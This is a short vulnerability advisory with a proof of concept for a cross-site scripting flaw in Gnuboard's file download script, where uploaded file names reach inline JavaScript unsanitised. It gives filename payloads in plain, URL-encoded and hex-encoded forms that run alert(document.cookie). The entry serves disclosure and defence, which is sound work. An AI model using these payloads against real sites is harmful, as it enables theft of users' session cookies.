source: https://www.securityfocus.com/bid/52622/info Gnuboard is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content. Attacker-supplied HTML and script code would run in the context of the affected website, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Gnuboard versions prior to 4.34.21 are vulnerable. 1) you can upload a file (e.g. a.txt) to the BBS. 2) you can download it from the following scripts and figure out what's working on. ### vulnerable code ######################################################################################################################### javascript:file_download('./download.php?bo_table=test&wr_id=13&no=0&sca=&sfl=&stx=&sst=&sod=&spt=0&page=0', 'a.txt'); ############################################################################################################################################# 3) you can also upload a file with name of XSS code. The following is the example. - ');alert(document.cookie);// - %27);alert(document.cookie);%2f%2f - %27%29%3b%61%6c%65%72%74%28%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%29%2f%2f ### vulnerable code ######################################################################################################################### javascript:file_download('./download.php?bo_table=test&wr_id=13&no=0&sca=&sfl=&stx=&sst=&sod=&spt=0&page=0', '');alert(document.cookie);//'); ############################################################################################################################################# 4) The example file works by pulling in the Javascript and running it as part of the Javascript.
